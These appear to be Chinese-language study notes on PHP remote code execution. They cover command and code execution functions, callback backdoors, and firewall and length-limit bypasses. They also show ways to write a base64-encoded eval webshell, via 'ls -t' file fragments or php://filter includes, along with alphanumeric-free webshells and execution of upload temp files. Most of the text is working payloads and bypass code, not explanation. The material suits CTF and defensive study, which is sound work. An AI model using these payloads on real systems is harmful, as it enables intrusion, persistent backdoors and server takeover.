PHP命令执行常用函数
回调函数必须是命令执行和代码执行的函数,有两个条件
必须是函数,而且需要有函数运行的参数
危害:可以直接删除文件,添加文件,甚至可以添加用户
system --执行外部程序,并且显示输出
exec --执行一个外部程序 输出的是数组 要echo
passthru-- 执行外部程序并且显示原始输出 类似system 直接输出
shell_exec-- 要有echo输出才行
proc_open --打开进程文件指针
popen --- 从管道执行命令
代码执行,只能执行php代码不能执行命令
eval
assert
call_user_func
call_user_func_array
assert(eval($_post[123]));
call_user_func('assert',$_REQUEST['pass']); //加了eval 蚁剑可以连接
rce的基础 php的回调后门
array_fillter 回调函数
$e = $_REQUEST['e'];
$arr array($_POST['pass'],);
array_filter($arr, base64_decode($e));
绕过安全狗
get_meta_tags 引入参数
eval();传入的参数需要引号
EVAL长度限制突破技巧
linux下反引号是可以执行命令的
<?php
$param = $_REQUEST['param']; //全局数组,接收GET,POST,COOKIE数据
If (
strlen($param) < 17 &&
stripos($param, 'eval') === false && // 检查$param 是否含‘eval’ 不含就返回falase 和后面的false相等 就是true
stripos($param, 'assert') === false //同上
) {
eval($param); //当上面的都为真时,才执行 。
}
//虽然代码检查了 eval 和 assert 字符串,依然有可能存在其他恶意代码或利用漏洞的方式
所以可以用
`$_GET[1]` 去用命令执行 去绕过 反引号在Linux下是可以执行命令的
`$_GET[1]`;&1=任何的恶意代码
最后需要用 echo 打印出来 因为eval执行不显示页面
也可用
foo.php?1=file_put_contents¶m=$_GET[1](N,P,8); //底层c语言写的8
foo.php?1=file_put_contents¶m=$_GET[1](N,w,8);
/* 'PD9waHAgZXZhbCgkX1BPU1RbOV0pOw' ✲写入文件'N'中 */
foo.php?param=include$_GET[1];&1=php://filter/read=convert.b ase64-decode/resource=N
为什么这里要转成base64呢,不直接追加呢,因为file_put_contents 是追加不了特殊字符的< ?
然后用php伪协议 把这base64转成正常的一句话了,然后用文件包含直接执行了
include 视为一切文件为php执行文件
解码出来为<?php eval($POST[9])
也可以用
usort(...$_GET);
foo.php?1[]=test&1[]=phpinfo();&2=assert
PHP5.6+变长参数 ⇒ usort回调后门 ⇒ 任意代码执行
...在php中表示为变长参数,js也是
抓包burpsuite
所有回调函数都是把接受到的参数,放在回调函数去执行
8个字符长短,更符合Linux下的环境
Linux命令长度限制突破方法
<?php
$param = $_REQUEST['param'];
if ( strlen($param) < 8 )
{
echo shell_exec($param); //可以直接执行Linux命令
}
$ ls -t
ech\ o \ PD9\ waH\ AgZ\ XZh\ bCg\ kX0\ dFV\ Fsx\ XSk\ 7|\
bas\ e64\ -\ d>\ c.p\ hp
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7| base64 -d> c.php
ls -t>0 以时间先后顺序创建文件 0里面的内容就是base64编码 然后
sh 0
把一句话木马base64之后的编码一点点写成文件形式,以时间的形式排序,最后执行这一串编码
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7| base64 -d> c.php
ls -t | xxd 以十六进制查看文件
php一句话木马中,一定是要以base64编码写入的
还有种思路:就是在post中生成临时文件,匹配到临时文件,然后执行临时文件的代码
. /t*/* //因为shell_exec本身就能执行Linux的命令,所以在param传参的时候不用加反引号执行了
无字母数字webshell之命令执行
<?php
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");//取反绕过正则
}
eval($code);
}else{
highlight_file(__FILE__);
}
取反用符号~
但是这种语法只能php7
文件上传就往web.php上面去传,不管它接不接,我只要这个临时文件
难点:如果没有接,php就会把临时文件删掉。但是不知道临时文件名
先定义一个文件上传,然后上传文件,然后去/tmp下看有没有生成临时文件,然后执行文件
里面的upload 需要改一下
前提要能执行临时文件,但是匹配不到临时文件,需要解决这个问题
GET和post同步执行。临时文件有一个特别的点,就是php临时文件生成是有规律的,最后一个字母,一次是大写一次是小写。
Linux通配符 glob 通配符
可以用'?' '*' '[' '[]'
eval 首先要先闭合?>php 后面才可以写 。用@匹配最后一个字母大写
eval 只是代码执行,但并不能执行Linux代码,所以少了一个Linux执行命令的东西,那就是反引号,那加上反引号就行了吗?很明显不行,要遵循urlcode编码,不能有空格 需要把空格改成加号 把空格换成%20 也可以
其实在burpsuite下面不用编码也可以 直接传,但是从url传的话就必须转码
这三部分 需要 粘贴到抓的web.php的包中 因为这是post传参
无参数读文件和RCE总结
这个就需要函数嵌套函数去执行,时间函数去拿.
也可以用array_rand 和array_flip 拿文件
用next(getallheaders())绕过这个限制 ,但是这个函数只能apache2里面使用